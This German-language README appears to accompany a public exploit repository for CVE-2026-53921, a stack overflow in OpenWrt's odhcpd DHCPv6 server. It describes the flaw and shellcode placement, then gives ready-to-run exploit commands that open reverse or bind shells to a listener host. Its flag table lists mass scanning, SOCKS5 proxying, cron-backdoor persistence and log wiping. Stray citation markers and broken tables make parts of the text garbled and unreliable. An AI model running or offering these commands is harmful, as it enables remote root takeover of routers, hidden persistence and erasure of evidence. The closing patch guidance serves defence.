
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Detaillierter und umfassender Write-Up sowie Verifier & Multi-Exploit für OpenWrt DHCPv6 RCE. Dual-Vektor (IA_NA/IA_PD) Overflow mit MIPS/ARM-Shellcode, ROP-Ketten, SOCKS5-Proxy, Persistenz, Log-Wiping und Massen-Scanning. Nutze es ethisch, bleib legal. 🔒

⚠️ Nur für Bildungszwecke und autorisierte Tests. Unbefugte Nutzung ist illegal.
CVE-2026-53921 ist ein kritischer Stack-Pufferüberlauf im odhcpd-Daemon von OpenWrt – dem Standard-DHCPv6-/DHCPv4-/RA-Server.
Die Schwachstelle befindet sich im DHCPv6-Nachrichtenverarbeitungscode von odhcpd, insbesondere in den Funktionen build_ia() und dhcpv6_ia_handle_IAs().
Der Fehler tritt während der Serialisierung (Verpackung) von DHCPv6-Reply-Paketen auf. Wenn odhcpd auf Client-Anfragen antwortet, erstellt es die Antwort in einem Stack-Puffer fester Größe von 512 Bytes ohne ordnungsgemäße Grenzprüfung.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Ein Angreifer sendet eine DHCPv6-Request (oder Solicit) mit:
Jede Option verbraucht Stack-Speicher, während odhcpd die Reply aufbaut. Die angesammelten Daten überschreiten 512 Bytes und verursachen den Überlauf.
Vektor Auslöser Überlaufpunkt
Site 1 5 IA_NA-Optionen build_ia() für IA_NA
mit IPv6-Adressen
build_ia() für IA_PDDie Grundursache ist identisch, aber der Überlauf tritt in verschiedenen Codepfaden auf, wodurch beide Vektoren gleichermaßen ausnutzbar sind.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
Der Angreifer überschreibt die gespeicherte Rücksprungadresse, sodass sie auf seinen Shellcode im Speicher zeigt.
Anforderung Beschreibung
Netzwerkzugriff Der Angreifer muss IPv6-Konnektivität zum Ziel haben
Authentifizierung Keine -- Angriff ohne Authentifizierung
Privilegien odhcpd läuft als root, daher
ermöglicht RCE die vollständige
Kontrolle über das System
Bei einem echten Exploit wird der Shellcode des Angreifers in den IPv6-Adressfeldern der IAAddress platziert (16 Bytes pro IA_NA). Die präparierten Pakete verpacken Shellcode, NOP-Sled und Rücksprungadresse in diese Felder.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Version Status RCE möglich?
odhcpd < e432dd6 Verwundbar ✅ Ja OpenWrt < 24.10.8 Verwundbar ✅ Ja OpenWrt < 25.12.5 Verwundbar ✅ Ja OpenWrt 24.10.8+ Behoben ❌ Nein OpenWrt 25.12.5+ Behoben ❌ Nein odhcpd master + e432dd6 Behoben ❌ Nein
Diese Schwachstelle ist besonders gefährlich, weil:
odhcpd ist bei OpenWrt-Installationen standardmäßig aktiviert.| Komponente | Verwundbare Versionen | Behoben in |
|---|---|---|
odhcpd (master branch) | vor Commit e432dd6 | e432dd6 oder später |
| OpenWrt-Releases | < 24.10.8 < 25.12.5 |
Dieses Repository enthält zwei unabhängige Skripte:
| Skript | Zweck | Exploit-Code | Sicherheit |
|---|---|---|---|
verifier.py | Nicht-intrusiver Schwachstellencheck | ❌ Nein | ✅ Sicher |
exploit.py | Vollständig waffenfähiger Exploit |
verifier.py – Schwachstellenprüferexploit.py – Vollständiger ExploitIA_NA (Site1) und IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argument | Beschreibung |
|---|---|
-u, --target | Ziel-IPv6-Adresse (erforderlich) |
-i, --iface | Netzwerkschnittstelle (Standard: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Ein einzelnes Ziel mit Bind-Shell ausnutzen
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. SOCKS5-Proxy + Persistenz + Log-Wiping verwenden
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
Aktualisieren Sie OpenWrt auf 24.10.8 oder 25.12.5 oder neuer.
opkg update
opkg upgrade odhcpd
OpenWrt Security Advisory (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 Ausführliche Sicherheitsmeldung, die beide Overflow-Vektoren in odhcpd abdeckt.
CVE-2026-53921 NVD Entry https://nvd.nist.gov/vuln/detail/CVE-2026-53921 Offizieller Eintrag in der NIST-Schwachstellendatenbank.
OpenWrt 24.10.8 Release Notes https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 Offizielle Versionsankündigung für den 24.10-Zweig.
OpenWrt 25.12.5 Release Notes https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html Offizielle Versionsankündigung für den 25.12-Zweig.
Die Releases 24.10.8 und 25.12.5 beheben mehrere odhcpd-Schwachstellen über CVE-2026-53921 hinaus [citation:9]:
The Hacker News Analysis https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html Detaillierte technische Aufschlüsselung der Schwachstelle und der Ausnutzungsvektoren. [citation:1]
GitHub PoC Repository https://github.com/0xBlackash/CVE-2026-53921 Öffentliche Proof-of-Concept-Implementierungen und technische Details. [citation:3]
Version 25.12.5 behebt außerdem Schwachstellen in anderen Kernkomponenten [citation:10]:
OpenWrt Firmware Selector https://firmware-selector.openwrt.org/ Laden Sie gepatchte Firmware-Images für Ihr Gerät herunter.
CISA Known Exploited Vulnerabilities Catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog Prüfen Sie, ob CVE-2026-53921 zum KEV-Katalog hinzugefügt wurde (Stand 27. Juli 2026: nicht gelistet). [citation:1]
| 24.10.8 & 25.12.5 |
| ✅ Ja |
| ⚠️ Gefährlich |
| Argument | Beschreibung |
|---|
-u, --target | Ziel-IPv6-Adresse |
-l, --list | Datei mit einer Liste von Zielen |
-i, --iface | Netzwerkschnittstelle (Standard: eth0) |
--lhost | Listener-IP (erforderlich) |
--lport | Listener-Port (Standard: 4444) |
--vector | site1, site2 oder both (Standard: both) |
--offset | Stack-Offset (Standard: 512) |
--ret | Rücksprungadresse in Hex (z. B. 0x7ffff000) |
--arch | mips oder arm erzwingen (Auto-Erkennung, falls ausgelassen) |
--payload | reverse oder bind (Standard: reverse) |
--encode | none oder xor (Standard: none) |
--proxy-host | SOCKS5-Proxy-IP |
--proxy-port | SOCKS5-Proxy-Port (Standard: 1080) |
--persistence | Cron-Backdoor installieren |
--clear-logs | Syslog nach der Ausnutzung löschen |
--scan-only | Nur Ziele scannen, nicht ausnutzen |
--threads | Anzahl der Threads für das Scannen (Standard: 5) |
--verbose | Ausführliche Protokollierung |
| CVE ID | Schweregrad | Beschreibung |
|---|
| CVE-2026-53918 | Hoch | Use-after-free im DHCPv6-IA-Handler [citation:4][citation:9] |
| CVE-2026-53920 | Hoch | Stack-Speicheroffenlegung durch abgeschnittene DHCPv6-IA_NA/IA_PD-Option [citation:9] |
| CVE-2026-53922 | Mittel | Pre-Auth-Denial-of-Service durch size_t-Unterlauf [citation:9] |
| CVE-2026-55606 | Mittel | Stack-Puffer-Overread durch DUID-Längen-Endianness-Konflikt [citation:9] |
| CVE-2026-62948 | - | DHCPv6-Hostname-Injection, die zu gespeichertem XSS führt [citation:1] |
| CVE-2026-62947 | - | Authentifizierter Path Traversal in cgi-io [citation:1] |